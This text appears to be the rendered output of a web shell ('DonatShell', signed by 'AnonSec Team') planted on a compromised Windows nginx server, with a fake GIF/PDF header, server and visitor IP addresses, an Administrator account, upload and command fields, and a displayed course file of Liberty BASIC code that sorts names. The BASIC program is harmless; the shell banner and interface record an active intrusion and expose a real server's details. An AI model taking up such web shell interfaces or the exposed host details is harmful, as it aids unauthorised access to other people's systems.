GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles//SortedNames.bas
blockSize = 5
maxSize = blockSize
dim asEntered$(maxSize)
index = 0

newName$="flagToInitializeWhileStatement"
while newName$<>""
    input "Enter a name: ";newName$
    if newName$<>"" then
        index = index+1
        if index > maxSize then call redimArray asEntered$,maxSize,blockSize
        asEntered$(index)=newName$
    end if
wend

'copy the array into the arrays to sort
dim sortedByFirst$(index)
for i = 1 to index
    sortedByFirst$(i) = asEntered$(i)
next i
dim sortedByLast$(index)
for i = 1 to index
    sortedByLast$(i) = asEntered$(i)
next i
' Sort by first name
change = 1
while change = 1
    change = 0
    for i = 1 to index-1
        if sortedByFirst$(i) > sortedByFirst$(i+1) then
            temp$ = sortedByFirst$(i)
            sortedByFirst$(i) = sortedByFirst$(i+1)
            sortedByFirst$(i+1) = temp$
            change = 1
        end if
    next i
wend
' Sort by last name
change = 1
while change = 1
    change = 0
    for i = 1 to index-1
        firstName0$ = word$(sortedByLast$(i),1)
        lastName0$ = word$(sortedByLast$(i),2)
        if lastName0$ = "" then lastName0$ = " "
        reversedName0$ = lastName0$+firstName0$
        firstName1$ = word$(sortedByLast$(i+1),1)
        lastName1$ = word$(sortedByLast$(i+1),2)
        if lastName1$ = "" then lastName1$ = " "
        reversedName1$ = lastName1$+firstName1$
        if reversedName0$ > reversedName1$ then
            temp$ = sortedByLast$(i)
            sortedByLast$(i) = sortedByLast$(i+1)
            sortedByLast$(i+1) = temp$
            change = 1
        end if
    next i
wend

for i = 1 to index
    print i,asEntered$(i)
next i
print
for i = 1 to index
    print i,sortedByFirst$(i)
next i
print
for i = 1 to index
    print i,sortedByLast$(i)
next i



sub redimArray byref stringArray$,byref currentSize,addSize
    'copy array to temp
    dim temp$(currentSize)
    for i = 1 to currentSize
        temp$(i) = stringArray$(i)
    next i
    'redim array
    newSize = currentSize+addSize
    redim stringArray$(newSize)
    'copy back from temp
    for i = 1 to currentSize
        stringArray$(i) = temp$(i)
    next i
    currentSize = newSize
end sub



'firstName$ = word$(newName$,1)
'lastName$ = word$(newName$,2)
'print "firstName$=";firstName$;" lastName$=";lastName$


Anon7 - 2022
AnonSec Team